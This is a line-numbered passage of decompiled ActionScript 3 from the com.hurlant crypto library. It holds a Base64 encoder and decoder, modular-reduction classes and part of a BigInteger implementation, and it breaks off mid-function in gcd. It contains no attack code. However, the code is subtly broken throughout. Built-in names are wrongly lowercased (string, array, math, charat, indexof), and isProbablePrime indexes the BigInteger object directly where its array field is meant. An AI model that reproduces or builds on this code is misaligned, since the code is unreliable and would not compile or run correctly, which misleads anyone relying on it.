  7092. &#65279;package com.hurlant.util {
  7093.  
  7094. import flash.utils.*;
  7095.  
  7096.  
  7097.  
  7098. public class Base64 {
  7099.  
  7100.  
  7101.  
  7102. public static const version:string = "1.0.0";
  7103.  
  7104. private static const BASE64_CHARS:string = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
  7105.  
  7106.  
  7107.  
  7108. public function Base64(){
  7109.  
  7110. throw (new error("Base64 class is static container only"));
  7111.  
  7112. }
  7113.  
  7114. public static function encode(_arg1:string):string{
  7115.  
  7116. var _local2:ByteArray;
  7117.  
  7118. _local2 = new ByteArray();
  7119.  
  7120. _local2.writeUTFBytes(_arg1);
  7121.  
  7122. return (encodeByteArray(_local2));
  7123.  
  7124. }
  7125.  
  7126. public static function encodeByteArray(_arg1:ByteArray):string{
  7127.  
  7128. var _local2:string;
  7129.  
  7130. var _local3:array;
  7131.  
  7132. var _local4:array;
  7133.  
  7134. var _local5:uint;
  7135.  
  7136. var _local6:uint;
  7137.  
  7138. var _local7:uint;
  7139.  
  7140. _local2 = "";
  7141.  
  7142. _local4 = new array(4);
  7143.  
  7144. _arg1.position = 0;
  7145.  
  7146. while (_arg1.bytesAvailable > 0) {
  7147.  
  7148. _local3 = new array();
  7149.  
  7150. _local5 = 0;
  7151.  
  7152. while ((((_local5 < 3)) && ((_arg1.bytesAvailable > 0)))) {
  7153.  
  7154. _local3[_local5] = _arg1.readUnsignedByte();
  7155.  
  7156. _local5++;
  7157.  
  7158. };
  7159.  
  7160. _local4[0] = ((_local3[0] & 252) >> 2);
  7161.  
  7162. _local4[1] = (((_local3[0] & 3) << 4) | (_local3[1] >> 4));
  7163.  
  7164. _local4[2] = (((_local3[1] & 15) << 2) | (_local3[2] >> 6));
  7165.  
  7166. _local4[3] = (_local3[2] & 63);
  7167.  
  7168. _local6 = _local3.length;
  7169.  
  7170. while (_local6 < 3) {
  7171.  
  7172. _local4[(_local6 + 1)] = 64;
  7173.  
  7174. _local6++;
  7175.  
  7176. };
  7177.  
  7178. _local7 = 0;
  7179.  
  7180. while (_local7 < _local4.length) {
  7181.  
  7182. _local2 = (_local2 + BASE64_CHARS.charat(_local4[_local7]));
  7183.  
  7184. _local7++;
  7185.  
  7186. };
  7187.  
  7188. };
  7189.  
  7190. return (_local2);
  7191.  
  7192. }
  7193.  
  7194. public static function decode(_arg1:string):string{
  7195.  
  7196. var _local2:ByteArray;
  7197.  
  7198. _local2 = decodeToByteArray(_arg1);
  7199.  
  7200. return (_local2.readUTFBytes(_local2.length));
  7201.  
  7202. }
  7203.  
  7204. public static function decodeToByteArray(_arg1:string):ByteArray{
  7205.  
  7206. var _local2:ByteArray;
  7207.  
  7208. var _local3:array;
  7209.  
  7210. var _local4:array;
  7211.  
  7212. var _local5:uint;
  7213.  
  7214. var _local6:uint;
  7215.  
  7216. var _local7:uint;
  7217.  
  7218. _local2 = new ByteArray();
  7219.  
  7220. _local3 = new array(4);
  7221.  
  7222. _local4 = new array(3);
  7223.  
  7224. _local5 = 0;
  7225.  
  7226. while (_local5 < _arg1.length) {
  7227.  
  7228. _local6 = 0;
  7229.  
  7230. while ((((_local6 < 4)) && (((_local5 + _local6) < _arg1.length)))) {
  7231.  
  7232. _local3[_local6] = BASE64_CHARS.indexof(_arg1.charat((_local5 + _local6)));
  7233.  
  7234. _local6++;
  7235.  
  7236. };
  7237.  
  7238. _local4[0] = ((_local3[0] << 2) + ((_local3[1] & 48) >> 4));
  7239.  
  7240. _local4[1] = (((_local3[1] & 15) << 4) + ((_local3[2] & 60) >> 2));
  7241.  
  7242. _local4[2] = (((_local3[2] & 3) << 6) + _local3[3]);
  7243.  
  7244. _local7 = 0;
  7245.  
  7246. while (_local7 < _local4.length) {
  7247.  
  7248. if (_local3[(_local7 + 1)] == 64){
  7249.  
  7250. break;
  7251.  
  7252. };
  7253.  
  7254. _local2.writeByte(_local4[_local7]);
  7255.  
  7256. _local7++;
  7257.  
  7258. };
  7259.  
  7260. _local5 = (_local5 + 4);
  7261.  
  7262. };
  7263.  
  7264. _local2.position = 0;
  7265.  
  7266. return (_local2);
  7267.  
  7268. }
  7269.  
  7270.  
  7271.  
  7272. }
  7273.  
  7274. }//package com.hurlant.util
  7275.  
  7276. &#65279;package com.hurlant.math {
  7277.  
  7278. import com.hurlant.math.*;
  7279.  
  7280.  
  7281.  
  7282. interface IReduction {
  7283.  
  7284.  
  7285.  
  7286. function convert(_arg1:BigInteger):BigInteger;
  7287.  
  7288. function revert(_arg1:BigInteger):BigInteger;
  7289.  
  7290. function reduce(_arg1:BigInteger):void;
  7291.  
  7292. function sqrTo(_arg1:BigInteger, _arg2:BigInteger):void;
  7293.  
  7294. function mulTo(_arg1:BigInteger, _arg2:BigInteger, _arg3:BigInteger):void;
  7295.  
  7296.  
  7297.  
  7298. }
  7299.  
  7300. }//package com.hurlant.math
  7301.  
  7302. &#65279;package com.hurlant.math {
  7303.  
  7304. import com.hurlant.math.*;
  7305.  
  7306.  
  7307.  
  7308. class ClassicReduction implements IReduction {
  7309.  
  7310.  
  7311.  
  7312. private var m:BigInteger;
  7313.  
  7314.  
  7315.  
  7316. public function ClassicReduction(_arg1:BigInteger){
  7317.  
  7318. this.m = _arg1;
  7319.  
  7320. }
  7321.  
  7322. public function revert(_arg1:BigInteger):BigInteger{
  7323.  
  7324. return (_arg1);
  7325.  
  7326. }
  7327.  
  7328. public function reduce(_arg1:BigInteger):void{
  7329.  
  7330. _arg1.divRemTo(m, null, _arg1);
  7331.  
  7332. }
  7333.  
  7334. public function convert(_arg1:BigInteger):BigInteger{
  7335.  
  7336. if ((((_arg1.s < 0)) || ((_arg1.compareTo(m) >= 0)))){
  7337.  
  7338. return (_arg1.mod(m));
  7339.  
  7340. };
  7341.  
  7342. return (_arg1);
  7343.  
  7344. }
  7345.  
  7346. public function sqrTo(_arg1:BigInteger, _arg2:BigInteger):void{
  7347.  
  7348. _arg1.squareTo(_arg2);
  7349.  
  7350. reduce(_arg2);
  7351.  
  7352. }
  7353.  
  7354. public function mulTo(_arg1:BigInteger, _arg2:BigInteger, _arg3:BigInteger):void{
  7355.  
  7356. _arg1.multiplyTo(_arg2, _arg3);
  7357.  
  7358. reduce(_arg3);
  7359.  
  7360. }
  7361.  
  7362.  
  7363.  
  7364. }
  7365.  
  7366. }//package com.hurlant.math
  7367.  
  7368. &#65279;package com.hurlant.math {
  7369.  
  7370.  
  7371.  
  7372. public class NullReduction implements IReduction {
  7373.  
  7374.  
  7375.  
  7376. public function reduce(_arg1:BigInteger):void{
  7377.  
  7378. }
  7379.  
  7380. public function revert(_arg1:BigInteger):BigInteger{
  7381.  
  7382. return (_arg1);
  7383.  
  7384. }
  7385.  
  7386. public function mulTo(_arg1:BigInteger, _arg2:BigInteger, _arg3:BigInteger):void{
  7387.  
  7388. _arg1.multiplyTo(_arg2, _arg3);
  7389.  
  7390. }
  7391.  
  7392. public function convert(_arg1:BigInteger):BigInteger{
  7393.  
  7394. return (_arg1);
  7395.  
  7396. }
  7397.  
  7398. public function sqrTo(_arg1:BigInteger, _arg2:BigInteger):void{
  7399.  
  7400. _arg1.squareTo(_arg2);
  7401.  
  7402. }
  7403.  
  7404.  
  7405.  
  7406. }
  7407.  
  7408. }//package com.hurlant.math
  7409.  
  7410. &#65279;package com.hurlant.math {
  7411.  
  7412.  
  7413.  
  7414. public namespace bi_internal = "http://crypto.hurlant.com/BigInteger";
  7415.  
  7416. }//package com.hurlant.math
  7417.  
  7418. &#65279;package com.hurlant.math {
  7419.  
  7420. import com.hurlant.math.*;
  7421.  
  7422.  
  7423.  
  7424. class BarrettReduction implements IReduction {
  7425.  
  7426.  
  7427.  
  7428. private var r2:BigInteger;
  7429.  
  7430. private var q3:BigInteger;
  7431.  
  7432. private var mu:BigInteger;
  7433.  
  7434. private var m:BigInteger;
  7435.  
  7436.  
  7437.  
  7438. public function BarrettReduction(_arg1:BigInteger){
  7439.  
  7440. r2 = new BigInteger();
  7441.  
  7442. q3 = new BigInteger();
  7443.  
  7444. BigInteger.ONE.dlShiftTo((2 * _arg1.t), r2);
  7445.  
  7446. mu = r2.divide(_arg1);
  7447.  
  7448. this.m = _arg1;
  7449.  
  7450. }
  7451.  
  7452. public function reduce(_arg1:BigInteger):void{
  7453.  
  7454. var _local2:BigInteger;
  7455.  
  7456. _local2 = (_arg1 as BigInteger);
  7457.  
  7458. _local2.drShiftTo((m.t - 1), r2);
  7459.  
  7460. if (_local2.t > (m.t + 1)){
  7461.  
  7462. _local2.t = (m.t + 1);
  7463.  
  7464. _local2.clamp();
  7465.  
  7466. };
  7467.  
  7468. mu.multiplyUpperTo(r2, (m.t + 1), q3);
  7469.  
  7470. m.multiplyLowerTo(q3, (m.t + 1), r2);
  7471.  
  7472. while (_local2.compareTo(r2) < 0) {
  7473.  
  7474. _local2.dAddOffset(1, (m.t + 1));
  7475.  
  7476. };
  7477.  
  7478. _local2.subTo(r2, _local2);
  7479.  
  7480. while (_local2.compareTo(m) >= 0) {
  7481.  
  7482. _local2.subTo(m, _local2);
  7483.  
  7484. };
  7485.  
  7486. }
  7487.  
  7488. public function revert(_arg1:BigInteger):BigInteger{
  7489.  
  7490. return (_arg1);
  7491.  
  7492. }
  7493.  
  7494. public function convert(_arg1:BigInteger):BigInteger{
  7495.  
  7496. var _local2:BigInteger;
  7497.  
  7498. if ((((_arg1.s < 0)) || ((_arg1.t > (2 * m.t))))){
  7499.  
  7500. return (_arg1.mod(m));
  7501.  
  7502. };
  7503.  
  7504. if (_arg1.compareTo(m) < 0){
  7505.  
  7506. return (_arg1);
  7507.  
  7508. };
  7509.  
  7510. _local2 = new BigInteger();
  7511.  
  7512. _arg1.copyTo(_local2);
  7513.  
  7514. reduce(_local2);
  7515.  
  7516. return (_local2);
  7517.  
  7518. }
  7519.  
  7520. public function sqrTo(_arg1:BigInteger, _arg2:BigInteger):void{
  7521.  
  7522. _arg1.squareTo(_arg2);
  7523.  
  7524. reduce(_arg2);
  7525.  
  7526. }
  7527.  
  7528. public function mulTo(_arg1:BigInteger, _arg2:BigInteger, _arg3:BigInteger):void{
  7529.  
  7530. _arg1.multiplyTo(_arg2, _arg3);
  7531.  
  7532. reduce(_arg3);
  7533.  
  7534. }
  7535.  
  7536.  
  7537.  
  7538. }
  7539.  
  7540. }//package com.hurlant.math
  7541.  
  7542. &#65279;package com.hurlant.math {
  7543.  
  7544. import flash.utils.*;
  7545.  
  7546. import com.hurlant.crypto.prng.*;
  7547.  
  7548. import com.hurlant.util.*;
  7549.  
  7550.  
  7551.  
  7552. public class BigInteger {
  7553.  
  7554.  
  7555.  
  7556. public static const ONE:BigInteger = nbv(1);
  7557.  
  7558. public static const ZERO:BigInteger = nbv(0);
  7559.  
  7560. public static const DM:int = (DV - 1);
  7561.  
  7562. public static const F1:int = 22;
  7563.  
  7564. public static const F2:int = 8;
  7565.  
  7566. public static const lplim:int = ((1 << 26) / lowprimes[(lowprimes.length - 1)]);
  7567.  
  7568. public static const lowprimes:array = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 0x0101, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509];
  7569.  
  7570. public static const FV:number = math.pow(2, BI_FP);
  7571.  
  7572. public static const BI_FP:int = 52;
  7573.  
  7574. public static const DV:int = (1 << DB);
  7575.  
  7576. public static const DB:int = 30;
  7577.  
  7578.  
  7579.  
  7580. bi_internal var a:array;
  7581.  
  7582. bi_internal var s:int;
  7583.  
  7584. public var t:int;
  7585.  
  7586.  
  7587.  
  7588. public function BigInteger(_arg1=null, _arg2:int=0){
  7589.  
  7590. var _local3:ByteArray;
  7591.  
  7592. var _local4:int;
  7593.  
  7594. super();
  7595.  
  7596. a = new array();
  7597.  
  7598. if ((_arg1 is string)){
  7599.  
  7600. _arg1 = Hex.toArray(_arg1);
  7601.  
  7602. _arg2 = 0;
  7603.  
  7604. };
  7605.  
  7606. if ((_arg1 is ByteArray)){
  7607.  
  7608. _local3 = (_arg1 as ByteArray);
  7609.  
  7610. _local4 = ((_arg2) || ((_local3.length - _local3.position)));
  7611.  
  7612. fromArray(_local3, _local4);
  7613.  
  7614. };
  7615.  
  7616. }
  7617.  
  7618. public static function nbv(_arg1:int):BigInteger{
  7619.  
  7620. var _local2:BigInteger;
  7621.  
  7622. _local2 = new (BigInteger)();
  7623.  
  7624. _local2.fromInt(_arg1);
  7625.  
  7626. return (_local2);
  7627.  
  7628. }
  7629.  
  7630.  
  7631.  
  7632. public function clearBit(_arg1:int):BigInteger{
  7633.  
  7634. return (changeBit(_arg1, op_andnot));
  7635.  
  7636. }
  7637.  
  7638. public function negate():BigInteger{
  7639.  
  7640. var _local1:BigInteger;
  7641.  
  7642. _local1 = nbi();
  7643.  
  7644. ZERO.subTo(this, _local1);
  7645.  
  7646. return (_local1);
  7647.  
  7648. }
  7649.  
  7650. public function andNot(_arg1:BigInteger):BigInteger{
  7651.  
  7652. var _local2:BigInteger;
  7653.  
  7654. _local2 = new BigInteger();
  7655.  
  7656. bitwiseTo(_arg1, op_andnot, _local2);
  7657.  
  7658. return (_local2);
  7659.  
  7660. }
  7661.  
  7662. public function modPow(_arg1:BigInteger, _arg2:BigInteger):BigInteger{
  7663.  
  7664. var _local3:int;
  7665.  
  7666. var _local4:int;
  7667.  
  7668. var _local5:BigInteger;
  7669.  
  7670. var _local6:IReduction;
  7671.  
  7672. var _local7:array;
  7673.  
  7674. var _local8:int;
  7675.  
  7676. var _local9:int;
  7677.  
  7678. var _local10:int;
  7679.  
  7680. var _local11:int;
  7681.  
  7682. var _local12:int;
  7683.  
  7684. var _local13:boolean;
  7685.  
  7686. var _local14:BigInteger;
  7687.  
  7688. var _local15:BigInteger;
  7689.  
  7690. var _local16:BigInteger;
  7691.  
  7692. _local3 = _arg1.bitLength();
  7693.  
  7694. _local5 = nbv(1);
  7695.  
  7696. if (_local3 <= 0){
  7697.  
  7698. return (_local5);
  7699.  
  7700. };
  7701.  
  7702. if (_local3 < 18){
  7703.  
  7704. _local4 = 1;
  7705.  
  7706. } else {
  7707.  
  7708. if (_local3 < 48){
  7709.  
  7710. _local4 = 3;
  7711.  
  7712. } else {
  7713.  
  7714. if (_local3 < 144){
  7715.  
  7716. _local4 = 4;
  7717.  
  7718. } else {
  7719.  
  7720. if (_local3 < 0x0300){
  7721.  
  7722. _local4 = 5;
  7723.  
  7724. } else {
  7725.  
  7726. _local4 = 6;
  7727.  
  7728. };
  7729.  
  7730. };
  7731.  
  7732. };
  7733.  
  7734. };
  7735.  
  7736. if (_local3 < 8){
  7737.  
  7738. _local6 = new ClassicReduction(_arg2);
  7739.  
  7740. } else {
  7741.  
  7742. if (_arg2.isEven()){
  7743.  
  7744. _local6 = new BarrettReduction(_arg2);
  7745.  
  7746. } else {
  7747.  
  7748. _local6 = new MontgomeryReduction(_arg2);
  7749.  
  7750. };
  7751.  
  7752. };
  7753.  
  7754. _local7 = [];
  7755.  
  7756. _local8 = 3;
  7757.  
  7758. _local9 = (_local4 - 1);
  7759.  
  7760. _local10 = ((1 << _local4) - 1);
  7761.  
  7762. _local7[1] = _local6.convert(this);
  7763.  
  7764. if (_local4 > 1){
  7765.  
  7766. _local16 = new BigInteger();
  7767.  
  7768. _local6.sqrTo(_local7[1], _local16);
  7769.  
  7770. while (_local8 <= _local10) {
  7771.  
  7772. _local7[_local8] = new BigInteger();
  7773.  
  7774. _local6.mulTo(_local16, _local7[(_local8 - 2)], _local7[_local8]);
  7775.  
  7776. _local8 = (_local8 + 2);
  7777.  
  7778. };
  7779.  
  7780. };
  7781.  
  7782. _local11 = (_arg1.t - 1);
  7783.  
  7784. _local13 = true;
  7785.  
  7786. _local14 = new BigInteger();
  7787.  
  7788. _local3 = (nbits(_arg1.a[_local11]) - 1);
  7789.  
  7790. while (_local11 >= 0) {
  7791.  
  7792. if (_local3 >= _local9){
  7793.  
  7794. _local12 = ((_arg1.a[_local11] >> (_local3 - _local9)) & _local10);
  7795.  
  7796. } else {
  7797.  
  7798. _local12 = ((_arg1.a[_local11] & ((1 << (_local3 + 1)) - 1)) << (_local9 - _local3));
  7799.  
  7800. if (_local11 > 0){
  7801.  
  7802. _local12 = (_local12 | (_arg1.a[(_local11 - 1)] >> ((DB + _local3) - _local9)));
  7803.  
  7804. };
  7805.  
  7806. };
  7807.  
  7808. _local8 = _local4;
  7809.  
  7810. while ((_local12 & 1) == 0) {
  7811.  
  7812. _local12 = (_local12 >> 1);
  7813.  
  7814. _local8--;
  7815.  
  7816. };
  7817.  
  7818. _local3 = (_local3 - _local8);
  7819.  
  7820. if (_local3 < 0){
  7821.  
  7822. _local3 = (_local3 + DB);
  7823.  
  7824. _local11--;
  7825.  
  7826. };
  7827.  
  7828. if (_local13){
  7829.  
  7830. _local7[_local12].copyTo(_local5);
  7831.  
  7832. _local13 = false;
  7833.  
  7834. } else {
  7835.  
  7836. while (_local8 > 1) {
  7837.  
  7838. _local6.sqrTo(_local5, _local14);
  7839.  
  7840. _local6.sqrTo(_local14, _local5);
  7841.  
  7842. _local8 = (_local8 - 2);
  7843.  
  7844. };
  7845.  
  7846. if (_local8 > 0){
  7847.  
  7848. _local6.sqrTo(_local5, _local14);
  7849.  
  7850. } else {
  7851.  
  7852. _local15 = _local5;
  7853.  
  7854. _local5 = _local14;
  7855.  
  7856. _local14 = _local15;
  7857.  
  7858. };
  7859.  
  7860. _local6.mulTo(_local14, _local7[_local12], _local5);
  7861.  
  7862. };
  7863.  
  7864. while ((((_local11 >= 0)) && (((_arg1.a[_local11] & (1 << _local3)) == 0)))) {
  7865.  
  7866. _local6.sqrTo(_local5, _local14);
  7867.  
  7868. _local15 = _local5;
  7869.  
  7870. _local5 = _local14;
  7871.  
  7872. _local14 = _local15;
  7873.  
  7874. --_local3;
  7875.  
  7876. if (_local3 < 0){
  7877.  
  7878. _local3 = (DB - 1);
  7879.  
  7880. _local11--;
  7881.  
  7882. };
  7883.  
  7884. };
  7885.  
  7886. };
  7887.  
  7888. return (_local6.revert(_local5));
  7889.  
  7890. }
  7891.  
  7892. public function isProbablePrime(_arg1:int):boolean{
  7893.  
  7894. var _local2:int;
  7895.  
  7896. var _local3:BigInteger;
  7897.  
  7898. var _local4:int;
  7899.  
  7900. var _local5:int;
  7901.  
  7902. _local3 = abs();
  7903.  
  7904. if ((((_local3.t == 1)) && ((_local3.a[0] <= lowprimes[(lowprimes.length - 1)])))){
  7905.  
  7906. _local2 = 0;
  7907.  
  7908. while (_local2 < lowprimes.length) {
  7909.  
  7910. if (_local3[0] == lowprimes[_local2]){
  7911.  
  7912. return (true);
  7913.  
  7914. };
  7915.  
  7916. _local2++;
  7917.  
  7918. };
  7919.  
  7920. return (false);
  7921.  
  7922. };
  7923.  
  7924. if (_local3.isEven()){
  7925.  
  7926. return (false);
  7927.  
  7928. };
  7929.  
  7930. _local2 = 1;
  7931.  
  7932. while (_local2 < lowprimes.length) {
  7933.  
  7934. _local4 = lowprimes[_local2];
  7935.  
  7936. _local5 = (_local2 + 1);
  7937.  
  7938. while ((((_local5 < lowprimes.length)) && ((_local4 < lplim)))) {
  7939.  
  7940. var _temp1 = _local5;
  7941.  
  7942. _local5 = (_local5 + 1);
  7943.  
  7944. _local4 = (_local4 * lowprimes[_temp1]);
  7945.  
  7946. };
  7947.  
  7948. _local4 = _local3.modInt(_local4);
  7949.  
  7950. while (_local2 < _local5) {
  7951.  
  7952. var _temp2 = _local4;
  7953.  
  7954. var _temp3 = _local2;
  7955.  
  7956. _local2 = (_local2 + 1);
  7957.  
  7958. if ((_temp2 % lowprimes[_temp3]) == 0){
  7959.  
  7960. return (false);
  7961.  
  7962. };
  7963.  
  7964. };
  7965.  
  7966. };
  7967.  
  7968. return (_local3.millerRabin(_arg1));
  7969.  
  7970. }
  7971.  
  7972. private function op_or(_arg1:int, _arg2:int):int{
  7973.  
  7974. return ((_arg1 | _arg2));
  7975.  
  7976. }
  7977.  
  7978. public function mod(_arg1:BigInteger):BigInteger{
  7979.  
  7980. var _local2:BigInteger;
  7981.  
  7982. _local2 = nbi();
  7983.  
  7984. abs().divRemTo(_arg1, null, _local2);
  7985.  
  7986. if ((((s < 0)) && ((_local2.compareTo(ZERO) > 0)))){
  7987.  
  7988. _arg1.subTo(_local2, _local2);
  7989.  
  7990. };
  7991.  
  7992. return (_local2);
  7993.  
  7994. }
  7995.  
  7996. protected function addTo(_arg1:BigInteger, _arg2:BigInteger):void{
  7997.  
  7998. var _local3:int;
  7999.  
  8000. var _local4:int;
  8001.  
  8002. var _local5:int;
  8003.  
  8004. _local3 = 0;
  8005.  
  8006. _local4 = 0;
  8007.  
  8008. _local5 = math.min(_arg1.t, t);
  8009.  
  8010. while (_local3 < _local5) {
  8011.  
  8012. _local4 = (_local4 + (this.a[_local3] + _arg1.a[_local3]));
  8013.  
  8014. var _temp1 = _local3;
  8015.  
  8016. _local3 = (_local3 + 1);
  8017.  
  8018. var _local6 = _temp1;
  8019.  
  8020. _arg2.a[_local6] = (_local4 & DM);
  8021.  
  8022. _local4 = (_local4 >> DB);
  8023.  
  8024. };
  8025.  
  8026. if (_arg1.t < t){
  8027.  
  8028. _local4 = (_local4 + _arg1.s);
  8029.  
  8030. while (_local3 < t) {
  8031.  
  8032. _local4 = (_local4 + this.a[_local3]);
  8033.  
  8034. var _temp2 = _local3;
  8035.  
  8036. _local3 = (_local3 + 1);
  8037.  
  8038. _local6 = _temp2;
  8039.  
  8040. _arg2.a[_local6] = (_local4 & DM);
  8041.  
  8042. _local4 = (_local4 >> DB);
  8043.  
  8044. };
  8045.  
  8046. _local4 = (_local4 + s);
  8047.  
  8048. } else {
  8049.  
  8050. _local4 = (_local4 + s);
  8051.  
  8052. while (_local3 < _arg1.t) {
  8053.  
  8054. _local4 = (_local4 + _arg1.a[_local3]);
  8055.  
  8056. var _temp3 = _local3;
  8057.  
  8058. _local3 = (_local3 + 1);
  8059.  
  8060. _local6 = _temp3;
  8061.  
  8062. _arg2.a[_local6] = (_local4 & DM);
  8063.  
  8064. _local4 = (_local4 >> DB);
  8065.  
  8066. };
  8067.  
  8068. _local4 = (_local4 + _arg1.s);
  8069.  
  8070. };
  8071.  
  8072. _arg2.s = ((_local4)<0) ? -1 : 0;
  8073.  
  8074. if (_local4 > 0){
  8075.  
  8076. var _temp4 = _local3;
  8077.  
  8078. _local3 = (_local3 + 1);
  8079.  
  8080. _local6 = _temp4;
  8081.  
  8082. _arg2.a[_local6] = _local4;
  8083.  
  8084. } else {
  8085.  
  8086. if (_local4 < -1){
  8087.  
  8088. var _temp5 = _local3;
  8089.  
  8090. _local3 = (_local3 + 1);
  8091.  
  8092. _local6 = _temp5;
  8093.  
  8094. _arg2.a[_local6] = (DV + _local4);
  8095.  
  8096. };
  8097.  
  8098. };
  8099.  
  8100. _arg2.t = _local3;
  8101.  
  8102. _arg2.clamp();
  8103.  
  8104. }
  8105.  
  8106. protected function bitwiseTo(_arg1:BigInteger, _arg2:function, _arg3:BigInteger):void{
  8107.  
  8108. var _local4:int;
  8109.  
  8110. var _local5:int;
  8111.  
  8112. var _local6:int;
  8113.  
  8114. _local6 = math.min(_arg1.t, t);
  8115.  
  8116. _local4 = 0;
  8117.  
  8118. while (_local4 < _local6) {
  8119.  
  8120. _arg3.a[_local4] = _arg2(this.a[_local4], _arg1.a[_local4]);
  8121.  
  8122. _local4++;
  8123.  
  8124. };
  8125.  
  8126. if (_arg1.t < t){
  8127.  
  8128. _local5 = (_arg1.s & DM);
  8129.  
  8130. _local4 = _local6;
  8131.  
  8132. while (_local4 < t) {
  8133.  
  8134. _arg3.a[_local4] = _arg2(this.a[_local4], _local5);
  8135.  
  8136. _local4++;
  8137.  
  8138. };
  8139.  
  8140. _arg3.t = t;
  8141.  
  8142. } else {
  8143.  
  8144. _local5 = (s & DM);
  8145.  
  8146. _local4 = _local6;
  8147.  
  8148. while (_local4 < _arg1.t) {
  8149.  
  8150. _arg3.a[_local4] = _arg2(_local5, _arg1.a[_local4]);
  8151.  
  8152. _local4++;
  8153.  
  8154. };
  8155.  
  8156. _arg3.t = _arg1.t;
  8157.  
  8158. };
  8159.  
  8160. _arg3.s = _arg2(s, _arg1.s);
  8161.  
  8162. _arg3.clamp();
  8163.  
  8164. }
  8165.  
  8166. protected function modInt(_arg1:int):int{
  8167.  
  8168. var _local2:int;
  8169.  
  8170. var _local3:int;
  8171.  
  8172. var _local4:int;
  8173.  
  8174. if (_arg1 <= 0){
  8175.  
  8176. return (0);
  8177.  
  8178. };
  8179.  
  8180. _local2 = (DV % _arg1);
  8181.  
  8182. _local3 = ((s)<0) ? (_arg1 - 1) : 0;
  8183.  
  8184. if (t > 0){
  8185.  
  8186. if (_local2 == 0){
  8187.  
  8188. _local3 = (a[0] % _arg1);
  8189.  
  8190. } else {
  8191.  
  8192. _local4 = (t - 1);
  8193.  
  8194. while (_local4 >= 0) {
  8195.  
  8196. _local3 = (((_local2 * _local3) + a[_local4]) % _arg1);
  8197.  
  8198. _local4--;
  8199.  
  8200. };
  8201.  
  8202. };
  8203.  
  8204. };
  8205.  
  8206. return (_local3);
  8207.  
  8208. }
  8209.  
  8210. protected function chunkSize(_arg1:number):int{
  8211.  
  8212. return (math.floor(((math.ln2 * DB) / math.log(_arg1))));
  8213.  
  8214. }
  8215.  
  8216. bi_internal function dAddOffset(_arg1:int, _arg2:int):void{
  8217.  
  8218. while (t <= _arg2) {
  8219.  
  8220. var _local3 = t++;
  8221.  
  8222. a[_local3] = 0;
  8223.  
  8224. };
  8225.  
  8226. a[_arg2] = (a[_arg2] + _arg1);
  8227.  
  8228. while (a[_arg2] >= DV) {
  8229.  
  8230. a[_arg2] = (a[_arg2] - DV);
  8231.  
  8232. ++_arg2;
  8233.  
  8234. if (_arg2 >= t){
  8235.  
  8236. _local3 = t++;
  8237.  
  8238. a[_local3] = 0;
  8239.  
  8240. };
  8241.  
  8242. _local3 = a;
  8243.  
  8244. var _local4 = _arg2;
  8245.  
  8246. var _local5 = (_local3[_local4] + 1);
  8247.  
  8248. _local3[_local4] = _local5;
  8249.  
  8250. };
  8251.  
  8252. }
  8253.  
  8254. bi_internal function lShiftTo(_arg1:int, _arg2:BigInteger):void{
  8255.  
  8256. var _local3:int;
  8257.  
  8258. var _local4:int;
  8259.  
  8260. var _local5:int;
  8261.  
  8262. var _local6:int;
  8263.  
  8264. var _local7:int;
  8265.  
  8266. var _local8:int;
  8267.  
  8268. _local3 = (_arg1 % DB);
  8269.  
  8270. _local4 = (DB - _local3);
  8271.  
  8272. _local5 = ((1 << _local4) - 1);
  8273.  
  8274. _local6 = (_arg1 / DB);
  8275.  
  8276. _local7 = ((s << _local3) & DM);
  8277.  
  8278. _local8 = (t - 1);
  8279.  
  8280. while (_local8 >= 0) {
  8281.  
  8282. _arg2.a[((_local8 + _local6) + 1)] = ((a[_local8] >> _local4) | _local7);
  8283.  
  8284. _local7 = ((a[_local8] & _local5) << _local3);
  8285.  
  8286. _local8--;
  8287.  
  8288. };
  8289.  
  8290. _local8 = (_local6 - 1);
  8291.  
  8292. while (_local8 >= 0) {
  8293.  
  8294. _arg2.a[_local8] = 0;
  8295.  
  8296. _local8--;
  8297.  
  8298. };
  8299.  
  8300. _arg2.a[_local6] = _local7;
  8301.  
  8302. _arg2.t = ((t + _local6) + 1);
  8303.  
  8304. _arg2.s = s;
  8305.  
  8306. _arg2.clamp();
  8307.  
  8308. }
  8309.  
  8310. public function getLowestSetBit():int{
  8311.  
  8312. var _local1:int;
  8313.  
  8314. _local1 = 0;
  8315.  
  8316. while (_local1 < t) {
  8317.  
  8318. if (a[_local1] != 0){
  8319.  
  8320. return (((_local1 * DB) + lbit(a[_local1])));
  8321.  
  8322. };
  8323.  
  8324. _local1++;
  8325.  
  8326. };
  8327.  
  8328. if (s < 0){
  8329.  
  8330. return ((t * DB));
  8331.  
  8332. };
  8333.  
  8334. return (-1);
  8335.  
  8336. }
  8337.  
  8338. public function subtract(_arg1:BigInteger):BigInteger{
  8339.  
  8340. var _local2:BigInteger;
  8341.  
  8342. _local2 = new BigInteger();
  8343.  
  8344. subTo(_arg1, _local2);
  8345.  
  8346. return (_local2);
  8347.  
  8348. }
  8349.  
  8350. public function primify(_arg1:int, _arg2:int):void{
  8351.  
  8352. if (!testBit((_arg1 - 1))){
  8353.  
  8354. bitwiseTo(BigInteger.ONE.shiftLeft((_arg1 - 1)), op_or, this);
  8355.  
  8356. };
  8357.  
  8358. if (isEven()){
  8359.  
  8360. dAddOffset(1, 0);
  8361.  
  8362. };
  8363.  
  8364. while (!(isProbablePrime(_arg2))) {
  8365.  
  8366. dAddOffset(2, 0);
  8367.  
  8368. while (bitLength() > _arg1) {
  8369.  
  8370. subTo(BigInteger.ONE.shiftLeft((_arg1 - 1)), this);
  8371.  
  8372. };
  8373.  
  8374. };
  8375.  
  8376. }
  8377.  
  8378. public function gcd(_arg1:BigInteger):BigInteger{
  8379.  
  8380. var _local2:BigInteger;
  8381.  
  8382. var _local3:BigInteger;
  8383.  
  8384. var _local4:int;
  8385.  
  8386. var _local5:int;
  8387.  
  8388. var _local6:BigInteger;
  8389.  
  8390. _local2 = ((s)<0) ? negate() : clone();
  8391.  
  8392. _local3 = ((_arg1.s)<0) ? _arg1.negate() : _arg1.clone();
